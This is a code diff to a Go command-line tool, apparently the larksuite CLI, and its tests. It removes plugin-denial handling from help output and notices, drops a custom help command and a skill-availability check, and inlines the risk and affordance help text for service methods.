-		t.Error("notices must render without the denial")
-	}
-}
-
-// Default: diagnostics stay executable but leave help when their whole
-// domain is denied — cobra then drops the empty config group entirely.
-func TestBuildInternal_concealDiagnostics(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"config/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-
-	show := findByPath(root, "config/policy/show")
-	if show == nil {
-		t.Fatal("config policy show not in tree")
-	}
-	if !show.Hidden {
-		t.Error("exempt diagnostic should be hidden from help when its domain is denied")
-	}
-	// Still dispatchable: its RunE is the original, not an unavailable stub.
-	if show.Annotations[cmdpolicy.AnnotationDenialLayer] != "" {
-		t.Error("exempt diagnostic must not carry a denial stub by default")
-	}
-	if cfg := findByPath(root, "config"); cfg.IsAvailableCommand() {
-		t.Error("config group with no visible children must drop from help")
-	}
-}
-
-// HideDiagnostics retires the exemptions like any other denied command.
-func TestBuildInternal_hideDiagnostics(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"config/**"}, func(b *platform.Builder) *platform.Builder {
-		return b.HideDiagnostics()
-	})
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-
-	show := findByPath(root, "config/policy/show")
-	if show == nil {
-		t.Fatal("config policy show not in tree")
-	}
-	err := show.RunE(show, nil)
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) || ve.Subtype != errs.SubtypeCommandUnavailable {
-		t.Errorf("hidden diagnostic must answer command_unavailable, got %v", err)
-	}
-}

cmd/prune.go

@@ -13,7 +13,6 @@ import (
 	"github.com/larksuite/cli/internal/cmdpolicy"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/policystate"
 )
 
 // pruneForStrictMode removes commands incompatible with the active strict mode.
@@ -106,14 +105,8 @@ func strictModeStubFrom(child *cobra.Command, mode core.StrictMode) *cobra.Comma
 		},
 		RunE: func(c *cobra.Command, _ []string) error {
 			cd := cmdpolicy.CommandDeniedFromDenial(cmdpolicy.CanonicalPath(c), denial)
-			hint := fmt.Sprintf("denied by %s policy (reason_code %s)", cd.Layer, cd.ReasonCode)
-			// The switch-policy pointer names `config strict-mode`; with
-			// the config domain plugin-denied it would be a dead end.
-			if !policystate.DomainDeniedByPlugin("config") {
-				hint += "; " + stubHint
-			}
 			return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s", stubMessage).
-				WithHint("%s", hint).
+				WithHint("denied by %s policy (reason_code %s); %s", cd.Layer, cd.ReasonCode, stubHint).
 				WithCause(cd)
 		},
 	}

cmd/prune_test.go

@@ -14,7 +14,6 @@ import (
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/policystate"
 	"github.com/spf13/cobra"
 )
 
@@ -380,41 +379,3 @@ func TestStrictModeStub_PreservesOriginalMetadata(t *testing.T) {
 		t.Errorf("denial annotation overwritten or missing")
 	}
 }
-
-// The strict-mode stub's RunE appends a `config strict-mode` switch-policy
-// pointer to its hint — but only when the config domain is still present. With
-// the config domain plugin-denied that pointer is a dead end, so it is omitted;
-// the denial itself (message, subtype) is unchanged.
-func TestStrictModeStub_ConfigHintGatedByPluginDenial(t *testing.T) {
-	hintOf := func(t *testing.T) string {
-		t.Helper()
-		child := &cobra.Command{Use: "search", RunE: func(*cobra.Command, []string) error { return nil }}
-		stub := strictModeStubFrom(child, core.StrictModeBot)
-		err := stub.RunE(stub, nil)
-		var verr *errs.ValidationError
-		if !errors.As(err, &verr) {
-			t.Fatalf("expected *errs.ValidationError, got %T %v", err, err)
-		}
-		if verr.Subtype != errs.SubtypeFailedPrecondition {
-			t.Fatalf("subtype = %q, want failed_precondition", verr.Subtype)
-		}
-		return verr.Hint
-	}
-
-	t.Run("config domain present: switch-policy pointer included", func(t *testing.T) {
-		policystate.ResetForTesting()
-		t.Cleanup(policystate.ResetForTesting)
-		if h := hintOf(t); !strings.Contains(h, "config strict-mode") {
-			t.Errorf("hint = %q, want it to reference `config strict-mode`", h)
-		}
-	})
-
-	t.Run("config domain plugin-denied: switch-policy pointer omitted", func(t *testing.T) {
-		policystate.ResetForTesting()
-		t.Cleanup(policystate.ResetForTesting)
-		policystate.SetPluginDeniedDomains(map[string]bool{"config": true})
-		if h := hintOf(t); strings.Contains(h, "config strict-mode") {
-			t.Errorf("hint = %q, want no `config strict-mode` pointer when config is plugin-denied", h)
-		}
-	})
-}

cmd/root.go

@@ -7,7 +7,6 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"io/fs"
 	"os"
 	"sort"
 	"strings"
@@ -22,7 +21,6 @@ import (
 	"github.com/larksuite/cli/internal/deprecation"
 	"github.com/larksuite/cli/internal/hook"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/policystate"
 	"github.com/larksuite/cli/internal/skillscheck"
 	"github.com/larksuite/cli/internal/suggest"
 	"github.com/larksuite/cli/internal/update"
@@ -82,16 +80,11 @@ Global Flags:
 Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}}
   {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}}
 
-Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}}` + skillsSetupFooter + `
+Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}}{{if not .HasParent}}
+
+Skills setup (one-time, humans): npx skills add larksuite/cli -g -y — https://github.com/larksuite/cli#agent-skills{{end}}
 `
 
-// skillsSetupFooter is the root-help pointer at the human one-time skills
-// setup. Split out so the presentation pass can drop it from the template
-// when an integrator plugin denies the skills domain.
-const skillsSetupFooter = `{{if not .HasParent}}
-
-Skills setup (one-time, humans): npx skills add larksuite/cli -g -y — https://github.com/larksuite/cli#agent-skills{{end}}`
-
 // Execute runs the root command and returns the process exit code.
 // rawInvocationArgs holds os.Args[1:] captured at Execute() entry. cobra's
 // UnknownFlags whitelist (installUnknownSubcommandGuard) swallows unknown flags
@@ -174,10 +167,6 @@ func setupNotices() {
 // Extracted from Execute so the composition is unit-testable.
 func composePendingNotice() map[string]interface{} {
 	notice := map[string]interface{}{}
-	// All three notices steer the caller to `lark-cli update`.
-	if policystate.DomainDeniedByPlugin("update") {
-		return nil
-	}
 	if info := update.GetPending(); info != nil {
 		notice["update"] = map[string]interface{}{
 			"current": info.Current,
@@ -576,7 +565,7 @@ func groupRootCommands(root *cobra.Command) {
 		&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
 		&cobra.Group{ID: groupManagement, Title: "CLI management:"},
 	)
-	tooling := map[string]bool{"api": true, "schema": true, "skills": true}
+	tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
 	management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
 	for _, c := range root.Commands() {
 		if c.GroupID != "" {
@@ -669,80 +658,16 @@ func visibleFlagNames(c *cobra.Command) []string {
 	return names
 }
 
-// installHelpCommand replaces cobra's default help command so that
-// `lark-cli help <plugin-restricted-cmd>` returns a typed error (exit 2)
-// instead of printing an envelope and exiting 0 — cobra's stock help
-// command has no error channel.
-func installHelpCommand(root *cobra.Command) {
-	helpCmd := &cobra.Command{
-		Use:   "help [command]",
-		Short: "Help about any command",
-		Long:  "Help provides help for any command in the application.",
-		RunE: func(c *cobra.Command, args []string) error {
-			target, _, err := root.Find(args)
-			if err != nil || target == nil {
-				c.Printf("Unknown help topic %#q\n", args)
-				return root.Usage()
-			}
-			if msg, ok := unavailableHelpMessage(target); ok {
-				return errs.NewValidationError(errs.SubtypeCommandUnavailable, "%s", msg)
-			}
-			target.InitDefaultHelpFlag()
-			return target.Help()
-		},
-	}
-	// help attaches after policy evaluation (framework meta command, never
-	// policy-evaluated); the read annotation is defensive in case a future
-	// pass re-evaluates the finished tree.
-	cmdutil.SetRisk(helpCmd, "read")
-	cmdutil.DisableAuthCheck(helpCmd)
-	root.SetHelpCommand(helpCmd)
-	// SetHelpCommand alone defers attachment to Execute's
-	// InitDefaultHelpCmd; add it now so the built tree is complete
-	// (InitDefaultHelpCmd re-adds idempotently).
-	root.AddCommand(helpCmd)
-}
-
-// unavailableHelpMessage returns the message to render in place of help
-// for a plugin-restricted command. yaml-source denials keep original help.
-func unavailableHelpMessage(cmd *cobra.Command) (string, bool) {
-	if cmd == nil || cmd.Annotations == nil {
-		return "", false
-	}
-	if cmd.Annotations[cmdpolicy.AnnotationDenialLayer] != cmdpolicy.LayerPolicy ||
-		!cmdpolicy.IsPluginPolicySource(cmd.Annotations[cmdpolicy.AnnotationDenialSource]) {
-		return "", false
-	}
-	if msg := cmd.Annotations[cmdpolicy.AnnotationDenialMessage]; msg != "" {
-		return msg, true
-	}
-	return cmdpolicy.DefaultUnavailableMessage, true
-}
-
 // installTipsHelpFunc wraps the default help function to append a TIPS section
 // when a command has tips set via cmdutil.SetTips. It also force-shows global
 // flags that are normally hidden in single-app mode (currently --profile)
 // when rendering the root command's own help, so users discovering the CLI
 // still see them at `lark-cli --help`.
-//
-// skillContent is read lazily at help-render time (not captured up front) so
-// the domain-guide pointer reflects the resolved skill tree -- the same
-// f.SkillContent that `skills list`/`read` serve -- even though plugin skill
-// customization is applied after this help func is installed.
-func installTipsHelpFunc(root *cobra.Command, skillContent func() fs.FS) {
+func installTipsHelpFunc(root *cobra.Command) {
 	defaultHelp := root.HelpFunc()
 	root.SetHelpFunc(func(cmd *cobra.Command, args []string) {
-		// Explicit help on a plugin-restricted command answers the same
-		// unavailable envelope as its RunE stub, not the original usage.
-		if msg, ok := unavailableHelpMessage(cmd); ok {
-			output.WriteTypedErrorEnvelope(cmd.ErrOrStderr(),
-				errs.NewValidationError(errs.SubtypeCommandUnavailable, "%s", msg), "")
-			return
-		}
 		if cmd == root {
-			// Force-show flags hidden by single-app mode; never a
-			// policy-retired one.
-			if f := root.PersistentFlags().Lookup("profile"); f != nil && f.Hidden && !isPolicyGatedFlag(f) {
+			if f := root.PersistentFlags().Lookup("profile"); f != nil && f.Hidden {
 				f.Hidden = false
 				defer func() { f.Hidden = true }()
 			}
@@ -750,15 +675,11 @@ func installTipsHelpFunc(root *cobra.Command, skillContent func() fs.FS) {
 		// Domain and method commands compose their agent guidance into Long lazily
 		// here (shortcuts attach after service registration); both skip the generic
 		// bottom-of-help append below.
-		if service.PrepareDomainHelp(cmd, skillContent()) {
+		if service.PrepareDomainHelp(cmd, embeddedSkillContent) {
 			defaultHelp(cmd, args)
 			return
 		}
-		if service.PrepareMethodHelp(cmd, skillContent()) {
-			defaultHelp(cmd, args)
-			return
-		}
-		if service.PrepareShortcutHelp(cmd, skillContent()) {
+		if service.PrepareMethodHelp(cmd) {
 			defaultHelp(cmd, args)
 			return
 		}

cmd/root_integration_test.go

@@ -14,13 +14,11 @@ import (
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/service"
-	"github.com/larksuite/cli/internal/apicatalog"
 	"github.com/larksuite/cli/internal/build"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/envvars"
 	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/meta"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/skillscheck"
 	"github.com/larksuite/cli/internal/update"
@@ -105,11 +103,6 @@ func parseTypedEnvelope(t *testing.T, stderr *bytes.Buffer) typedErrorEnvelope {
 }
 
 func buildStrictModeIntegrationRootCmd(t *testing.T, f *cmdutil.Factory) *cobra.Command {
-	t.Helper()
-	return buildStrictModeIntegrationRootCmdWithCatalog(t, f, nil)
-}
-
-func buildStrictModeIntegrationRootCmdWithCatalog(t *testing.T, f *cmdutil.Factory, catalog *apicatalog.Catalog) *cobra.Command {
 	t.Helper()
 	rootCmd := &cobra.Command{Use: "lark-cli"}
 	rootCmd.SilenceErrors = true
@@ -120,11 +113,7 @@ func buildStrictModeIntegrationRootCmdWithCatalog(t *testing.T, f *cmdutil.Facto
 	}
 	rootCmd.AddCommand(auth.NewCmdAuth(f))
 	rootCmd.AddCommand(api.NewCmdApi(f, nil))
-	if catalog != nil {
-		service.RegisterServiceCommandsFromCatalog(context.Background(), rootCmd, f, *catalog)
-	} else {
-		service.RegisterServiceCommands(rootCmd, f)
-	}
+	service.RegisterServiceCommands(rootCmd, f)
 	shortcuts.RegisterShortcuts(rootCmd, f)
 	if mode := f.ResolveStrictMode(context.Background()); mode.IsActive() {
 		pruneForStrictMode(rootCmd, mode)
@@ -132,29 +121,6 @@ func buildStrictModeIntegrationRootCmdWithCatalog(t *testing.T, f *cmdutil.Facto
 	return rootCmd
 }
 
-func strictModeFixtureCatalog() apicatalog.Catalog {
-	return apicatalog.New(apicatalog.SourceEmbedded, []meta.Service{
-		{
-			Name:        "fixture",
-			ServicePath: "/open-apis/fixture/v1",
-			Resources: map[string]meta.Resource{
-				"things": {
-					Methods: map[string]meta.Method{
-						"create": {
-							Path:         "things",
-							HTTPMethod:   "POST",
-							AccessTokens: []meta.Token{meta.TokenTenant},
-							RequestBody: map[string]meta.Field{
-								"name": {Type: "string"},
-							},
-						},
-					},
-				},
-			},
-		},
-	})
-}
-
 func newStrictModeDefaultFactory(t *testing.T, profile string, mode core.StrictMode) (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
 	t.Helper()
 	t.Setenv(envvars.CliAppID, "")
@@ -389,11 +355,10 @@ func TestIntegration_StrictModeBot_ProfileOverride_ServiceExplicitUserReturnsEnv
 
 func TestIntegration_StrictModeUser_ProfileOverride_ServiceBotOnlyMethodReturnsEnvelope(t *testing.T) {
 	f, stdout, stderr := newStrictModeDefaultFactory(t, "target", core.StrictModeUser)
-	catalog := strictModeFixtureCatalog()
-	rootCmd := buildStrictModeIntegrationRootCmdWithCatalog(t, f, &catalog)
+	rootCmd := buildStrictModeIntegrationRootCmd(t, f)
 
 	code := executeRootIntegration(t, f, rootCmd, []string{
-		"fixture", "things", "create", "--data", `{"name":"probe"}`, "--dry-run",
+		"im", "images", "create", "--data", `{"image_type":"message","image":"x"}`, "--dry-run",
 	})
 
 	if code != output.ExitValidation {

cmd/root_risk_help_test.go

@@ -5,7 +5,6 @@ package cmd
 
 import (
 	"bytes"
-	"io/fs"
 	"strings"
 	"testing"
 
@@ -13,10 +12,6 @@ import (
 	"github.com/spf13/cobra"
 )
 
-// nilSkills is the skill-content getter used by help-func tests that do
-// not exercise the domain-guide pointer.
-func nilSkills() fs.FS { return nil }
-
 // rendersHelp runs the wrapped help func and returns stdout.
 func rendersHelp(t *testing.T, cmd *cobra.Command) string {
 	t.Helper()
@@ -29,7 +24,7 @@ func rendersHelp(t *testing.T, cmd *cobra.Command) string {
 
 func TestHelpFunc_RendersRiskLineWhenAnnotated(t *testing.T) {
 	root := &cobra.Command{Use: "lark-cli"}
-	installTipsHelpFunc(root, nilSkills)
+	installTipsHelpFunc(root)
 
 	child := &cobra.Command{Use: "delete", Short: "delete a file"}
 	cmdutil.SetRisk(child, "high-risk-write")
@@ -43,7 +38,7 @@ func TestHelpFunc_RendersRiskLineWhenAnnotated(t *testing.T) {
 
 func TestHelpFunc_NoRiskLineWhenUnannotated(t *testing.T) {
 	root := &cobra.Command{Use: "lark-cli"}
-	installTipsHelpFunc(root, nilSkills)
+	installTipsHelpFunc(root)
 
 	child := &cobra.Command{Use: "list", Short: "list items"}
 	root.AddCommand(child)
@@ -56,7 +51,7 @@ func TestHelpFunc_NoRiskLineWhenUnannotated(t *testing.T) {
 
 func TestHelpFunc_RiskLinePrecedesTips(t *testing.T) {
 	root := &cobra.Command{Use: "lark-cli"}
-	installTipsHelpFunc(root, nilSkills)
+	installTipsHelpFunc(root)
 
 	child := &cobra.Command{Use: "delete", Short: "delete a file"}
 	cmdutil.SetRisk(child, "high-risk-write")

cmd/schema/schema.go

@@ -65,13 +65,13 @@ func NewCmdSchema(f *cmdutil.Factory, runF func(*SchemaOptions) error) *cobra.Co
 	return cmd
 }
 
-// completeSchemaPath is a thin adapter over the schema catalog's Complete.
-// It uses the same source as schema execution so completion candidates match
-// what `schema` can resolve.
+// completeSchemaPath is a thin adapter over the embedded catalog's Complete.
+// It uses the embedded source so completion candidates match what `schema`
+// execution can resolve (both overlay-free).
 func completeSchemaPath(f *cmdutil.Factory) func(*cobra.Command, []string, string) ([]string, cobra.ShellCompDirective) {
 	return func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
 		mode := f.ResolveStrictMode(cmd.Context())
-		completions, noSpace := registry.SchemaCatalog().Complete(args, toComplete, registry.FilterForStrictMode(mode))
+		completions, noSpace := registry.EmbeddedCatalog().Complete(args, toComplete, registry.FilterForStrictMode(mode))
 		directive := cobra.ShellCompDirectiveNoFileComp
 		if noSpace {
 			directive |= cobra.ShellCompDirectiveNoSpace
@@ -86,19 +86,13 @@ func schemaRun(opts *SchemaOptions) error {
 	return runSchema(out, apicatalog.ParsePath(opts.Args), mode)
 }
 
-// runSchema resolves the path through the schema catalog and renders the
+// runSchema resolves the path through the embedded catalog and renders the
 // matching envelope(s). The catalog owns navigation (Resolve + MethodRefs) and
 // schema owns rendering (Envelope/Envelopes); this adapter only chooses the
 // output shape — a single resolved method renders as one envelope object,
 // anything broader as an array — and maps resolve failures to hints.
 func runSchema(out io.Writer, parts []string, mode core.StrictMode) error {
-	catalog := registry.SchemaCatalog()
-	if len(catalog.Services()) == 0 {
-		// No embedded metadata and the runtime fallback is empty too: offline
-		// with a cold cache, remote meta off, or an unwritable cache dir.
-		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "No API metadata available").
-			WithHint("this binary has no embedded API metadata; run any command with network access to the open platform once so metadata can be fetched and cached")
-	}
+	catalog := registry.EmbeddedCatalog()
 	target, err := catalog.Resolve(parts)
 	if err != nil {
 		return resolveError(err)

cmd/service/affordance.go

@@ -71,18 +71,11 @@ func PrepareDomainHelp(cmd *cobra.Command, skillFS fs.FS) bool {
 }
 
 // domainHelpBase returns the description to seed domain help with — the
-// hand-authored Long when present, else the Short.
+// hand-authored Long when present, else the Short — captured once into an
+// annotation so re-rendering reuses the pristine text instead of the
+// already-augmented Long.
 func domainHelpBase(cmd *cobra.Command) string {
-	return captureHelpBase(cmd, domainBaseAnnotation)
-}
-
-// captureHelpBase records a command's pristine lead text once — its
-// hand-authored Long, or Short when Long is empty — into the given annotation,
-// so lazy re-renders compose onto the original text instead of onto an
-// already-augmented Long. This is what lets a shortcut's PostMount-authored
-// Long survive: it becomes the base the affordance block is appended below.
-func captureHelpBase(cmd *cobra.Command, key string) string {
-	if base, ok := cmd.Annotations[key]; ok {
+	if base, ok := cmd.Annotations[domainBaseAnnotation]; ok {
 		return base
 	}
 	base := cmd.Long
@@ -92,7 +85,7 @@ func captureHelpBase(cmd *cobra.Command, key string) string {
 	if cmd.Annotations == nil {
 		cmd.Annotations = map[string]string{}
 	}
-	cmd.Annotations[key] = base
+	cmd.Annotations[domainBaseAnnotation] = base
 	return base
 }
 
@@ -108,12 +101,12 @@ func methodLong(description, schemaPath, paramsOnly string) string {
 }
 
 // Annotation keys PrepareMethodHelp reads to rebuild a method command's Long.
-// The affordance overlay coordinates live in cmdmeta (shared with shortcuts).
 const (
-	schemaPathAnnotation   = "method-schema-path"
-	paramsOnlyAnnotation   = "method-params-only"
-	domainBaseAnnotation   = "affordance-domain-base"
-	shortcutBaseAnnotation = "affordance-shortcut-base"
+	affordanceServiceAnnotation = "affordance-service"
+	affordanceMethodAnnotation  = "affordance-method"
+	schemaPathAnnotation        = "method-schema-path"
+	paramsOnlyAnnotation        = "method-params-only"
+	domainBaseAnnotation        = "affordance-domain-base"
 )
 
 // setMethodHelpData records the coordinates PrepareMethodHelp needs (storing a
@@ -122,7 +115,10 @@ func setMethodHelpData(cmd *cobra.Command, service, methodID, schemaPath, params
 	if cmd.Annotations == nil {
 		cmd.Annotations = map[string]string{}
 	}
-	cmdmeta.SetAffordanceRef(cmd, service, methodID)
+	if service != "" && methodID != "" {
+		cmd.Annotations[affordanceServiceAnnotation] = service
+		cmd.Annotations[affordanceMethodAnnotation] = methodID
+	}
 	cmd.Annotations[schemaPathAnnotation] = schemaPath
 	if paramsOnly != "" {
 		cmd.Annotations[paramsOnlyAnnotation] = paramsOnly
@@ -132,11 +128,8 @@ func setMethodHelpData(cmd *cobra.Command, service, methodID, schemaPath, params
 // PrepareMethodHelp rebuilds a generated method command's Long with the agent
 // guidance at the TOP (Risk, then the affordance block, then the schema
 // pointer), returning false for non-method commands. The overlay is parsed
-// here — only when help is rendered. skillFS (nil-safe) gates the related-skill
-// pointers: each is emitted only when it resolves in the skill tree (see
-// affordance.SkillStatPath), so a typo or a build without embedded skills never
-// prints a `skills read` that cannot be opened.
-func PrepareMethodHelp(cmd *cobra.Command, skillFS fs.FS) bool {
+// here — only when help is rendered.
+func PrepareMethodHelp(cmd *cobra.Command) bool {
 	ann := cmd.Annotations
 	if ann == nil {
 		return false
@@ -148,15 +141,22 @@ func PrepareMethodHelp(cmd *cobra.Command, skillFS fs.FS) bool {
 
 	var b strings.Builder
 	b.WriteString(cmd.Short)
-	writeRisk(&b, cmd)
+	if level, ok := cmdutil.GetRisk(cmd); ok {
+		// --yes asserts the USER confirmed; the agent must not self-approve.
+		if level == cmdutil.RiskHighRiskWrite {
+			fmt.Fprintf(&b, "\n\nRisk: %s (requires explicit user confirmation to execute; the agent must NOT add --yes on its own — only pass --yes after the user has confirmed)", level)
+		} else {
+			fmt.Fprintf(&b, "\n\nRisk: %s", level)
+		}
+	}
 
 	var skills []string
 	if raw, ok := affordanceRaw(cmd); ok {
+		if block := renderAffordance(meta.Method{Affordance: raw}); block != "" {
+			b.WriteString("\n\n")
+			b.WriteString(block)
+		}
 		if a, ok := (meta.Method{Affordance: raw}).ParsedAffordance(); ok {
-			if block := renderAffordanceValue(a); block != "" {
-				b.WriteString("\n\n")
-				b.WriteString(block)
-			}
 			skills = a.Skills
 		}
 	}
@@ -164,93 +164,15 @@ func PrepareMethodHelp(cmd *cobra.Command, skillFS fs.FS) bool {
 	fmt.Fprintf(&b, "\n\nFull parameter schema:\n  lark-cli schema %s", schemaPath)
 	b.WriteString(ann[paramsOnlyAnnotation])
 
-	writeRelatedSkills(&b, skills, skillFS)
-
-	cmd.Long = b.String()
-	return true
-}
-
-// PrepareShortcutHelp composes a +-prefixed shortcut's Long from its affordance
-// overlay — the same top layout as method help (description, Risk, guidance
-// block, related skills) minus the schema pointer, which shortcuts have none
-// of. Returns false when the command is not a shortcut or carries no overlay
-// entry, so shortcuts without guidance keep the default help plus the bottom
-// risk/tips append.
-//
-// The lead is the command's pristine base (captureHelpBase): a shortcut that
-// set a hand-authored Long in PostMount (e.g. the docs shortcuts' "agents MUST
-// read the skill" directive) keeps it — the affordance block is appended below,
-// never clobbering it.
-//
-// Tips precedence (intentional, not a bug): the overlay's ### Tips win. The
-// shortcut's declarative Tips (the Go Tips field) are only a fallback used when
-// the overlay declares none; when the overlay has tips, the Go tips are dropped
-// (replaced, not merged) so tips never render twice. Authoring a ### Tips block
-// therefore silently retires that shortcut's Go Tips — consolidate into one.
-func PrepareShortcutHelp(cmd *cobra.Command, skillFS fs.FS) bool {
-	if src, _ := cmdmeta.SourceOf(cmd); src != cmdmeta.SourceShortcut {
-		return false
-	}
-	raw, ok := affordanceRaw(cmd)
-	if !ok {
-		return false
-	}
-	a, ok := (meta.Method{Affordance: raw}).ParsedAffordance()
-	if !ok {
-		return false
-	}
-	if len(a.Tips) == 0 {
-		a.Tips = cmdutil.GetTips(cmd)
-	}
-
-	var b strings.Builder
-	b.WriteString(captureHelpBase(cmd, shortcutBaseAnnotation))
-	writeRisk(&b, cmd)
-	if block := renderAffordanceValue(a); block != "" {
-		b.WriteString("\n\n")
-		b.WriteString(block)
-	}
-	writeRelatedSkills(&b, a.Skills, skillFS)
-
-	cmd.Long = b.String()
-	return true
-}
-
-// writeRisk appends the "Risk: <level>" line, warning agents not to self-approve
-// high-risk-write commands. A no-op when the command has no risk annotation.
-func writeRisk(b *strings.Builder, cmd *cobra.Command) {
-	level, ok := cmdutil.GetRisk(cmd)
-	if !ok {
-		return
-	}
-	// --yes asserts the USER confirmed; the agent must not self-approve.
-	if level == cmdutil.RiskHighRiskWrite {
-		fmt.Fprintf(b, "\n\nRisk: %s (requires explicit user confirmation to execute; the agent must NOT add --yes on its own — only pass --yes after the user has confirmed)", level)
-	} else {
-		fmt.Fprintf(b, "\n\nRisk: %s", level)
-	}
-}
-
-// writeRelatedSkills appends the "Related skills" block for the entries that
-// exist in skillFS. Nothing is written when skillFS is nil or no entry resolves,
-// so help never prints a `skills read` pointer that cannot be opened.
-func writeRelatedSkills(b *strings.Builder, skills []string, skillFS fs.FS) {
-	if skillFS == nil || len(skills) == 0 {
-		return
-	}
-	var avail []string
-	for _, s := range skills {
-		if _, err := fs.Stat(skillFS, affordance.SkillStatPath(s)); err == nil {
-			avail = append(avail, s)
+	if len(skills) > 0 {
+		b.WriteString("\n\nWorkflow skill (end-to-end usage):")
+		for _, s := range skills {
+			fmt.Fprintf(&b, "\n  lark-cli skills read %s", s)
 		}
 	}
-	if len(avail) == 0 {
-		return
-	}
-	b.WriteString("\n\nRelated skills (read for end-to-end usage):")
-	for _, s := range avail {
-		fmt.Fprintf(b, "\n  lark-cli skills read %s", s)
-	}
+
+	cmd.Long = b.String()
+	return true
 }
 
 // affordanceLookup is the overlay source; a package var so tests can inject.
@@ -267,8 +189,12 @@ func RenderAffordanceForCmd(cmd *cobra.Command) string {
 }
 
 func affordanceRaw(cmd *cobra.Command) (json.RawMessage, bool) {
-	service, methodID, ok := cmdmeta.AffordanceRef(cmd)
-	if !ok {
+	if cmd.Annotations == nil {
+		return nil, false
+	}
+	service := cmd.Annotations[affordanceServiceAnnotation]
+	methodID := cmd.Annotations[affordanceMethodAnnotation]
+	if service == "" || methodID == "" {
 		return nil, false
 	}
 	return affordanceLookup(service, methodID)
@@ -281,13 +207,7 @@ func renderAffordance(m meta.Method) string {
 	if !ok {
 		return ""
 	}
-	return renderAffordanceValue(a)
-}
 
-// renderAffordanceValue renders an already-parsed affordance. Split from
-// renderAffordance so callers can render a value they have adjusted first (e.g.
-// a shortcut folding its declarative tips into an overlay that has none).
-func renderAffordanceValue(a meta.Affordance) string {
 	var sections []string
 	bullets := func(title string, items []string) {
 		var nonEmpty []string

cmd/service/affordance_test.go

@@ -7,7 +7,6 @@ import (
 	"encoding/json"
 	"strings"
 	"testing"
-	"testing/fstest"
 
 	"github.com/larksuite/cli/internal/cmdmeta"
 	"github.com/larksuite/cli/internal/cmdutil"
@@ -71,8 +70,8 @@ func TestServiceMethod_AffordanceNotInLong(t *testing.T) {
 		t.Errorf("affordance must not be baked into Long (lazy):\n%s", cmd.Long)
 	}
 	// The lookup ref is recorded so the help path can resolve it later.
-	if svc, method, ok := cmdmeta.AffordanceRef(cmd); !ok || svc != "im" || method != "messages.create" {
-		t.Errorf("affordance ref = %q/%q (ok=%v), want im/messages.create", svc, method, ok)
+	if cmd.Annotations[affordanceServiceAnnotation] != "im" || cmd.Annotations[affordanceMethodAnnotation] != "messages.create" {
+		t.Errorf("affordance ref annotations = %v, want im/messages.create", cmd.Annotations)
 	}
 }
 
@@ -120,7 +119,7 @@ func TestPrepareMethodHelp(t *testing.T) {
 	m := map[string]interface{}{"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息"}
 	cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(m), "create", "messages", nil)
 
-	if !PrepareMethodHelp(cmd, nil) {
+	if !PrepareMethodHelp(cmd) {
 		t.Fatal("PrepareMethodHelp returned false for a service-method command")
 	}
 	long := cmd.Long
@@ -137,133 +136,11 @@ func TestPrepareMethodHelp(t *testing.T) {
 	}
 
 	// A non-service command (no schema-path annotation) is left untouched.
-	if PrepareMethodHelp(&cobra.Command{Use: "plain"}, nil) {
+	if PrepareMethodHelp(&cobra.Command{Use: "plain"}) {
 		t.Error("PrepareMethodHelp should return false for a non-service command")
 	}
 }
 
-// PrepareShortcutHelp composes a shortcut's Long from its overlay with the same
-// top layout as method help (no schema pointer), folding declarative tips when
-// the overlay declares none, and leaves shortcuts without an overlay entry (and
-// non-shortcut commands) for the default help path.
-func TestPrepareShortcutHelp(t *testing.T) {
-	orig := affordanceLookup
-	t.Cleanup(func() { affordanceLookup = orig })
-	affordanceLookup = func(service, methodID string) (json.RawMessage, bool) {
-		if service == "calendar" && methodID == "+create" {
-			return json.RawMessage(`{"use_when":["高层创建日程"],"skills":["lark-calendar"]}`), true
-		}
-		return nil, false
-	}
-
-	sc := &cobra.Command{Use: "+create", Short: "Create an event"}
-	cmdmeta.SetSource(sc, cmdmeta.SourceShortcut, false)
-	cmdmeta.SetAffordanceRef(sc, "calendar", "+create")
-	cmdutil.SetRisk(sc, "write")
-	cmdutil.SetTips(sc, []string{"start/end 收 ISO 8601"})
-
-	if !PrepareShortcutHelp(sc, nil) {
-		t.Fatal("PrepareShortcutHelp returned false for a shortcut with an overlay")
-	}
-	for _, want := range []string{"Create an event", "Risk: write", "When to use:", "高层创建日程", "Tips:", "start/end 收 ISO 8601"} {
-		if !strings.Contains(sc.Long, want) {
-			t.Errorf("shortcut Long missing %q:\n%s", want, sc.Long)
-		}
-	}
-	if strings.Contains(sc.Long, "Full parameter schema:") {
-		t.Errorf("shortcut Long must not carry a schema pointer:\n%s", sc.Long)
-	}
-
-	// No overlay entry -> leave it for the default help path.
-	bare := &cobra.Command{Use: "+bare", Short: "x"}
